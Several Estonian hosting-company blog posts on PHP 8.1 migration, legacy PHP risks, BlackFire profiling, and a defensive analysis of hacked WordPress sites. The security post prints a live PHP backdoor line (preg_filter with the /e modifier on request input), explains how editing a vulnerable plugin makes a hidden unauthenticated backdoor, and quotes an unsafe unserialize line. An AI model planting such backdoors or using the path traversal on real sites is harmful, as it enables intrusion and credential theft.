Juhendame, kuidas võtta kasutusele PHP versioon 8.1

Käesoleva blogipostitusega loodame juhendada oma kasutajaid PHP uue versiooni kasutuselevõtul. PHP 8.1 lõplik versioon on täna olemas enamikes meie serverites ning  nädala lõpuks jõuab see kõikidesse meie poolt hallatavatesse serveritesse. Selle beta ja release candidate versioone on meie kliendid saanud testida juba mõned kuud.

Igaks juhuks tasub täpsustamist ka, et uue versiooni väljatulekuga kadus tugi versionile PHP 7.3. Samuti asendus PHP 7.4 aktiivne tugi turvatoega. Kellel huvi, siis täpsemalt saab sellekohase infoga tutvuda PHP arendajate lehel.

Vaikeversiooniks uutel serveritel ning alamdomeenidel on endiselt veel 8.0. Kui enamlevinud rakendused saavad toe 8.1 versioonile, siis muutub see ka meie serverites vaikeversiooniks. Hetkel planeeritult toimub see poole aasta pärast ehk juunis 2022.

Kuidas ma saan uut PHP versiooni kasutama hakata?

Märgin ära, et versioon 8.1 on veel vägagi uus ning kõik teemade ning pistikprogrammide arendajad ei pruugi olla jõudnud selle versiooni toega uuendusi reliisida. Sellisel juhul on tungivalt soovitav katsetada sama teekond läbi teha 8.0 versiooniga.

PHP uut versiooni saab testida eraldiseisval alamdomeenil, millele saad määrata vastava versiooni. Kui sinu veeb on rätsepalahendus, siis tuleks kindlasti ühendust võtta arendajaga ning paluda tal rakendust uuendada. Oma rakenduse kaasaegsana hoidmine on ülimalt tähtis, sest see teeb veebilehe kiiremaks ning rakenduse turvalisemaks.

Zone+ kasutajatele oleme teinud versioonimuutmise võimalikult lihtsaks. Siiski tahab mainimist, et kui sa pole veebiarenduse (või -haldusega) varem kokku puutunud, siis võta kõrvale mõni teadjam abimees.

Versioonimuutmise protsess võiks välja näha järgmine:

  • Loo testimiseks alamdomeen ning määra selle PHP versiooniks 8.1. (alamdomeeni valmimine võtab aega kuni 10 minutit).
  • Kui sul on kasutusel vähemlevinud PHP mooduleid, siis veendu, et vajalikud moodulid oleksid uues versioonis olemas ning aktiveeritud. Kui rakendus on paigaldatud läbi Zone+ ning mooduleid pole spetsiaalselt, siis võib üsna kindel olla, et sellele punktile ei pea tähelepanu pöörama.
  • Kopeeri rakendus loodud alamdomeenile ning testi põhjalikult! Tihtilugu tuleb ette olukordi, kus veebileht ise töötab, aga just tellimust esitades või halduspaneelis tellimust hallates ilmnevad probleemsed kohad. Kui käia läbi kõik vajalikud protsessid, siis saab lehe katkimineku riski maandada minimaalseks.
  • Soovi korral luba ligipääs staging lehele ainult oma IP’lt! Loe lähemalt päringute lubamisest vaid ühelt konkreetselt IP-aadressilt. Kui sa ei tea, mis on sinu IP-aadress, siis vaata siit, mis on sinu IP-aadress. Kuna .htaccess kirjutatakse rakendust paigaldades üle, siis võib selle reegli lisada Apache direktiividesse.
  • NB! Pärast testimist kustuta loodud staging rakendus ära, sest paljud näotustamised toimuvad just rippuma jäänud testlehtede kaudu. Alamdomeeni võid jätta tulevikuks alles, et ka järgmise uue versiooniga seda testida.
  • Enne lõpliku otsust PHP versioon uuendada, tee rakendustest ühe nupuvajutusega varukoopia!
  • Kui leiad koodis mõne vea, mis üle jõu käib, siis võta ühendust oma veebiarendajaga.
  • Pärast uuendust võib mõni tehnilisema taibuga isik ka PHP logisid jälgida, mille järgi võib potentsiaalselt tuvastada veel mõningaid nõrkasid kohti.

Kui rakendus on testkeskkonnast PHP versiooniga 8.1 testitud ning vigu ei esinenud, siis toimub peasaidi versiooni upgrade nähtamatult ning veebileht jääb klientidele kättesaadavaks ka vahetusprotsessi hetkel.

Kui tahad kindel olla, et muudatus on jõustunud ning kasutusel on uus PHP versioon, siis saad näiteks Worpdressi puhul hetkel kasutusel olevat PHP versiooni näha wordpressi halduspaneelist:

-> Tools -> Site health – > Info -> Server -> PHP version

WordPressi saab lihtsalt nupuvajutusega sisse logida läbi Minu Zone.

Siinkohal leiab nii mõnigi lugeja end mõttelt, et „aga ma saaks eelnevat protsessi palju lihtsamalt ja valutumalt läbida järgmise PHP versiooniga?”

Jah, aga tähelepanu tasub pöörata järgmisele:

  • WordPressi puhul ära muuda kunagi teema ja plugina faile otse! Uuendamisel võidakse kirjutada failid üle ning muudatused lähevad kaotsi. Teemade muutmiseks tee näiteks child theme.
  • Hoia rakendus, selle teemad ja pluginad alati kõige viimasel versioonil!
  • Rakenduse (WordPressil ka teemade ja pluginate) automaatse uuendamise saad sisse lülitada Minu Zone halduse kaudu.
  • Tee koostööd ainult usaldusväärsete veebiarendajatega! Tihtilugu tähendab odav veebileht küll kiiret valmimist, kuid selle järelhooldus saab reeglina olema puudulik. Ohukohaks on kindlasti väide, et WordPressi versiooni ei tohi uuendada ning ebameeldivusena ilmnev asjaolu, et sul puudub võimalus osta tehtud veebitöödele järelhooldusteenust.

Mida teha siis, kui kasutusel on vanem PHP versioon, mis pole enam toetatud – näiteks 5.6 või 7.0?

Täpselt sama eelkirjeldatud protsessi saab kasutada ka vanemate versioonide puhul. Juhin siiski tähelepanu, et Zones pole juba aegunud PHP versioone võimalik kasutusele võtta. Kui pärast produktsioonirakenduse uuendamist selgub, et see ikkagi ei tööta, siis on võimalik mittetoetatud PHP versioonile tagasi lülituda 24 tunni jooksul.

Kui aga sul on soov kasutusele võtta senisest uuem PHP versioon, mis ise on juba pärandtarkvara nimekirjas, siis on sul võimalik meile kirjutada info@zone.ee ning erandkonnas saab ka nii PHP versiooni uuendada. See on aga kindlasti ajutine lahendus ning seetõttu on soovitav lehe kallale saata arendustiim, kes viib tarkvara juba ise kaasaegseks.

Pärandtarkvarast on täpsemalt kirjutanud Ardi juba kolm aastat tagasi. Kui versiooninumbrid välja arvata, siis muu info on seal endiselt aktuaalne: Oluline info PHP pärandvara kohta.

Mida teha siis, kui ma olen paigaldanud WordPressi iseseisvalt ning soovin kasutusel võtta Zone+’i?

Lihtsamad rakendused saab meie kliendtugi tasuta siduda rakenduse Zone+ halduriga, millega saad:

  • logida rakendusse ilma WordPressi salasõnata läbi Minu Zone halduse;
  • aktiveerida automaatsed versiooniuuendused (seehulgas teemad ja pistikprogrammid);
  • luua ning taastada rakenduse varukoopiaid;
  • kopeerida rakenduse teisele alamdomeenile või teise Zones paiknevasse serverisse;

Kui sul peaks mõni sellistest soovidest olema, siis kirjuta meile info@zone.ee. Enamikel kordadel Zone+ sidumine õnnestub. Kui aga mitte, siis annab klienditugi sulle sellest teada ning kõik see ei lähe sulle mitte midagi maksma.

Oluline info PHP pärandvara kohta

Aasta 2019 tõi paljude jaoks endaga kaasa ebameeldiva üllatuse, 1. jaanuari seisuga muutusid pärandvaraks (“legacy”) kaks seni väga populaarset PHP versiooni 5.6 ja 7.0, mis enam arendajalt turvauuendusi ei saa.

Pärandvara kasutamine toob endaga kaasa riske, kuna see ei käi kaasas heade tavade ja praktikatega ning võib läbi paljastatud, kuid parandamata turvanõrkuste omandada ründajate kätes vaenuliku funktsiooni, pakkudes tagauksi seda kasutavatesse süsteemidesse.

Pärandvaraks muutunud tarkvaral on loomulikult muidki puuduseid kaasaegse tarkvaraga võrreldes, mida ilmestab juuresolev illustratsioon.

PHP versioone toetatakse arendaja poolt aktiivselt kaks aastat, misjärel pakutakse aasta jagu neile veel turvauuendusi.

Käesoleva aasta seisuga on arendajate poolt turvauuendustega toetatud kolm PHP versiooni:

  • 7.1 (kuni 1.12.2019)
  • 7.2 (kuni 30.11.2020)
  • 7.3 (kuni 6.12.2021).

Vanemate PHP versioonide kasutajad peaksid need vahetama mõne ülal nimetatud versiooni vastu.

Lugejale võib siinkohal tunduda, et ta ei kuule vajadusest kasutusel olevat PHP versiooni vahetada esimest korda, mis on ilmselt tõsi. Kuid sarnaselt paljudele teistele riskide maandamise vajadusest jutlustavatele epistlitele, mis räägivad näiteks vajadusest hoida piirkiirust, paigaldada suitsuandur või vahetada õigeaegselt välja talverehvid, kipuvad paljud seda sõnumit ignoreerima.

Seda ei maksa siiski teha, sest uuenenud pole mitte ainult PHP versioonid, vaid ka küberruum, kus neid rakendatakse. Hiiglaslike hüpetega arenevad nii tehnoloogilised platvormid kui ka ühiskond. Mis toob mind kahe olulise tõdemuseni:

  • esiteks, päris vanu PHP versioone ei ole Zonel peagi võimalik enam töökindlalt pakkuda, isegi kui kasutaja on valmis selleks võtma teatud turvariske nagu seni, põhjuseks on asjaolu, et teegid mida vanemad PHP versioonid vajavad kaovad järjest ajalukku;
  • teiseks, küberruumi reguleerivad üha rangemad ja spetsiifilisemad õigusaktid, mis otsesõnu nõuavad infosüsteemide omanikelt teadaolevate infoturberiskide maandamist – Euroopa Liidu tasandil on kehtestatud isikuandmete kaitse üldmäärus, kohalikul tasandil on vastu võetud küberturvalisuse seadus, peagi hakkab ilmselt kehtima e-Privaatsuse direktiiv, kuigi konkreetseid vahendeid nagu PHP nendes loomulikult ei mainita, rikub teadaolevate nõrkustega tarkvara kasutamine seaduste mõtet ja nende nõudmistele mittevastamine võib tõsisema intsidendi korral endaga kaasa tuua reaalsed, märkimisväärsed sanktsioonid.

Seega, hoiatan ette. Zone kaotab oma järgmise põlvkonna serveriplatvormist juba väga aegunud (ilmselt <= 5.5) PHP versioonide toe ära. Üleminek uuele platvormile hakkab meil juba aprillis, mil hakkame ise järgemööda võtma ühendust nende klientidega, keda see puudutab.

Lisaks võib juhtuda, et mõne tehnoloogiliselt toetatud, kuid tootja poolt juba hüljatud PHP versioonid (ilmselt <=7.0) peame määratlema pärandtarkvarana, mille teenindamisele tuleb kehtestada täiendav teenustasu, et senisest jõulisemalt suunata kliente kasutama turvalisemat, kiiremat ja efektiivsemat tarkvara; ning kompenseerida Zonele pärandtarkvara toetamisega seotud reaalsed kulud ja riskid.

Tööd saab olema paljudel. Täna kasutab veel sadu Zone kliente peagi 20 aastaseks saavat PHP 4. põhiversiooni. Turvaparandusi ei ole selle alamversioonidele välja lastud juba üle 10 aasta (sic!).

Hullem lugu on PHP 5. põhiversiooniga, mis lasti välja 2004. aastal. Selle populaarsed alamversioonid 5.2, 5.4 ja 5.6 muutusid pärandvaraks vastavalt 2011, 2015 ja 2018. Nende versioonide kasutajaid on kahjuks jätkuvalt tuhandeid.

Ülalnimetatud olukord ei ole kuidagi tekkinud Zone osavõtmatusest, oleme järjepidevalt teinud kõik uuemate PHP versioonide populariseerimiseks:

  • uued versioonid on muutunud klientidele kättesaadavaks kohe, kui nad on arendaja poolt välja lastud;
  • oleme tutvustanud oma blogis laiemale üldusele uute PHP versioonide peamiseid eeliseid;
  • avaldame serveriteenuste haldusliideses järjepidevalt meeldetuletusi klientidele, kes kasutavad PHP vanemaid versioone;
  • keelasime uutel klientidel vanemate PHP versioonide kasutuselevõtu;
  • keelasime PHP versiooni vahetajatel tagasipöördumise vanematele versioonidele;
  • oleme teostanud oma serverites löök-inventuure, mille käigus oleme PHP sätted kaasaegsemate vastu ära vahetanud nendel alam- ja põhidomeenidel, kus PHP-d parasjagu reaalselt ei kasutata;
  • jne.

Kõigel sellel on olnud mõju, kuid kahjuks mitte piisavalt suur ja see mis meid siia toonud, kahjuks edasi meid enam ei vii.

Miks mu veeb aeglane on? Vaata BlackFire abil järgi!

Enamus “server on aeglane” hädadest osutub lähemal uurimisel veebirakenduse koodi probleemideks – suur hulk andmebaasipäringuid, välise teenuse järel ootamine, ebaefektiivne tõlkelahendus vms.

Kuidas aga see kitsaskoht üles leida?

Esimene samm: väline monitooring

Minul on kombeks kõiki jõudlusprobleeme asuda lahendama kõige lihtsamast veebilehe monitooringust: pingdom.com teeb iga minut veebipäringu, joonistab vastamiseks kulunud ajast graafiku ning saadab e-postile teavituse, kui saab vea või vastus liiga kaua aega võtab*.

Kuvades lehtede või toodete lisandumisel kuude jooksul aeglasemaks muutuvat rakendust, võib tulemus olla näiteks selline:

Suur hulk probleeme on aga “jalutavad” – ehk enamiku ajast töötab veeb kiiresti, mingite sündmuste koosmõjul läheb aga aeglaseks:

Teine samm: mis toimub koodis?

Veebirakendustel on probleemide leidmiseks sageli omad lisad või pluginad, nt WordPressi puhul aitab Query Monitor kiiresti üles leida probleemsed andmebaasipäringud.

Visuaalsema pildi toimuvast annab aga BlackFire, mille PHP-laienduse saab Zone Virtuaalserveri puhul hõlpsalt sisse lülitada ja oma BlackFire kontoga siduda, kohaks Veebiserver » Peadomeeni Seaded (või Alamdomeenid) » Muuda » PHP laiendused:

Võrreldes rakenduste pidevaks monitooringuks mõeldud teenustega (nt NewRelic, mille saab meil muideks samast kohast aktiveerida) on BlackFire probleemide tuvastamise rollis oluliselt mõistlikuma hinnastusega – 19,90€ eest kuus saab endale “profileerija” konto, mida arendaja saab vabalt kasutada kõigi oma töös olevate (või ootamatult sisse sadavate) projektide puhul.

Kõige lihtsam viis profileerimiseks on Chrome laiendus – kui serveri poolel seadistus tehtud, lähed huvipakkuvale (alam)lehele ja vajutad nuppu. BlackFire kogub serveri poolel inffi ja saadab selle oma teenusesse, kus saad tulemust soovi korral teiste asjaosalistega jagada, näiteks nii.

Kuidas aga saadud tulemust lahti mõtestada? Võtame (anonüümselt) ette mõned reaalse elu juhtumid ja vaatame, kuidas probleemi otsimine käib. Alustuseks üks veeb, mis võiks vabalt olla Pingdomi juures mainitud “jalutava probleemi” graafikul kuvatu.

Probleem 1: veeb ootab välise päringu taga

Esimese asjana vaatan ma ülemist rida. Sedapuhku torkab kohe silma pea 3 sekundit, mis kulunud http-päringutele mingite väliste süsteemide pihta. Probleeme tekitav funktsioon on parempoolsel graafil kenasti punane ja sellele klikkides kuvatakse ka lisa-infot – kes teda kutsus, mida funktsioon tegi ja kelle poole edasi pöördus.

Sedapuhku kulub igal lehekuvamisel aega välise CRM-teenuse peale, kust kahel korral http-päringuga mingit infot laetakse. On seda infot ikka hädasti vaja? Miks tehakse kaks päringut? Miks see teenus aeglane on? Kas oleks võimalik vastust puhverdada? Kas selle päringu võiks teha kasutaja brauser pärast ülejäänud lehesisu laadimist?

3-sekundiline lehelaadimine on aga vaid väike osa probleemist – kui seda teeb server, kuhu külastajaid satub rohkem tulema (õnnestunud kampaania?), saab serveris lubatud PHP-protsesside arv varsti täis ning järgmised päringud peavad ootama eelmiste lõppemist.

Tehes käsurealt top avaneb siis selline pilt:

Virtuaalserveris on kasutajale lubatud kuni 15 PHP protsessi, Nutika Privaatserveri puhul võiks neid lubada niipalju kui klient soovib… aga (a) kui neid on rohkem kui protsessoril tuumasid ei lähe asi kuidagi kiiremaks (b) probleemi juurpõhjust ressurssidega loopimise meetodil ikkagi ei lahenda.

Sellised PHP käivitamise taga ootavad päringud näevad muideks BlackFire’is välja täiesti normaalsete sekundiliste vastustena – sest kuniks veebiserver (Apache) ootab vaba PHPd, ei ole ju ka mingit aega mõõta…

Ja kui PHPs tehtava päringu puhul on jäänud mõistliku pikkusega timeout seadistamata ning mõne lehe kuvamine hoiab PHP protsessi kinni 30 sekundit … siis pole kampaaniat vajagi. Probleemi avastamise teeb raskemaks see, kui aegavõtva päringu põhjustab suvaline alamleht (mida otsimootor parasjagu indekseerida proovib).

See on täpselt see probleem, mida tähistab üleval Pingdomi graafikul kell 14-15 algav küür. “Meie veebil” polnud häda midagi, aga üks teine veebiserver (või selle netiühendus) käis käntsu…

Probleem 2: meeletult SQL-päringuid

Tuhatkond andmebaasi-päringut pole küll mingi rekord – mulle meenub esileht, mille kuvamiseks tehti 12000 – aga väikseks rehkenduseks sobib hästi:

Oletame, et üks kiire andmebaasipäring võtab 2 millisekundit. Kui neid teha 1350 tükki, siis kulub sellega sahmerdamiseks … ligemale 3 sekundit. Lihtne soovitus – pea meeles,  et tuhandega korrutades saab millisekundist sekund.

Ülaloleval pildil on Magento otsingulehe kuvamine ning kuna see pole puhverdatud, siis on suur hulk päringuid paratamatu. Aga kui sa paned kampaania landing‘uks otsingulehe, siis võib see lisakoormus osutuda probleemseks.

Päris ilma cache’ta Magento 1.x kategoorialehe puhul on pilt selline, jõud kulub hulgast XMLidest konfiguratsiooni kokku ehitamisele:

Probleem 3: laeme kogu tabeli mällu ja siis sõõlame seda PHPs

Järgmine probleem on ilmselt esimese Pingdomi graafiku pideva kasvu taga – andmebaasi vastu tehakse küll vähe päringuid, aga küsitakse terve tabeli sisu ning siis asutakse seda PHPs läbi lappama. Näiteks selleks, et kuvada kategoorialehel 20tuh tootest järgmised 10:

Ole inime, ära tapa PHPd tööga, seda saab teha ka elektriga … st SQLiga. Kategooria lappamiseks sobiks nt LIMIT 10 OFFSET 1200.

Probleem 4: imetabased (ent indekseerimata) metaväljad ja andmebaas kui prügimägi

WordPressi puhul on tüüpilisemaks probleemiks pluginad, mis hoiavad oma andmeid post_meta tabelis ning teevad selle pihta imetabaseid päringuid. TOP-3 võiks olla selline:

  • Advanced Custom Fields – mugav viis lisada postitusele lisainfot või kindla vormindusega sisublokke. Aga selle peale ei tasu ehitada suuremat andmebaasilahendust, mis teeb otsinguid meta-väljade sisu kasutades. Mis ei ole vaikimis teps mitte indekseeritud (indeksi lisamine parandab olukorda mõnevõrra, aga mistahes andmetüüpide tekstiväljas hoidmine ei ole parim strateegia muretuks pensionipõlveks)
  • WooCommerce – aga mis oleks, kui me paneks kõik toodete, tellimuste jne kohta käiva informatsiooni nendesse metaväljadesse? Yep, that’s WooCommerce. Jube mõnus tööriist sajakonna tootega poe jaoks, aga pane ennast korraks andmebaasi mootori olukorda – kui kogu su 10tuh tootega pood asub laoruumis mustades prügikottides. “Tahaks M suurust punaseid särke mis ei maksa rohkem kui 12€” – “Juba jooksen!” – “[piinlikult pikk paus, kuulda on ähkimist, kohmitsemist ja kilekottide rebenemist]”.
  • WPML – minu ammune lemmik mitmekeelse veebi tegemiseks, hea mugav lehti ja postitusi tõlkida. Aga WordPressil on olemas väga normaalne .po/.mo failidega tõlkimise tugi, mille asendamiseks pakub WPML mugavusvõimalust need andmebaasi migreerida. Sa püha püss, kus kiirus kukub! Ja kui nüüd paneks juurde WooCommerce metaväljades oleva sisu tõlkimise … (me soovitame “lihtsaks rauaga tapmise lahenduseks” Nutikat Privaatserverit, sest siis püsib kogu see tarbetult keeruline andmebaasimudru kenasti mälus :-).

Mul ei ole hetkel head näite-pilti, lisan kui leian. Või kui sina saadad 🙂

Probleem 5 – visuaalsed jms lehe-ehitajad

BlackFire’s on lisaks funktsiooni-graafile olemas ka väga ilus ajajoon, mis annab aja kulumisest ning funktsioonide seostest isegi parema pildi:

See on üks veidi keerulisem alamleht, kus kuvati 8 … ütleme, et “toodet” ning iga ühe kohta nimistut sellega seotud postitustest. Nimistu kuvamine oli tehtud pluginaga, mis lubas lisada lehele PHP-koodi sisaldava shortcode’i ning koodis oli lihtne get_posts() ja foreach tsükkel … mida jooksutati eval() abil. Tuleb välja, et selline tsükkel on vääääääga aeglane, probleemi lahendab lehe-templiit … või siis oma shortcode, mis võtab parameetriks toote ja siis kuvab mida-vaja.

Teine esile toodud aega kulutav element on mitme-tasemelise menüü ehitamine – WordPressi puhul on ka menüü sisuliselt hulk eritüübilisi postitusi ja neist hierarhia kokkuehitamine misiganes põhjusel aeglane. Kuna menüü sisu eriti sageli ei muutu, siis ma prooviks selle ära cacheda.

* * *

Kui jutt huvi tekitas, siis proovi ise järgi – Zone Virtuaalserveri peal katsetades ei nõua isegi paigaldamine mingeid eriteadmisi. Mina alustasin BlackFire õppimist tasuta Hack plan’iga, siis proovisin Premiumi trialit, aga jäin lõpuks Profiler’i peale pidama.

Send moare freak bugs 🙂

Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

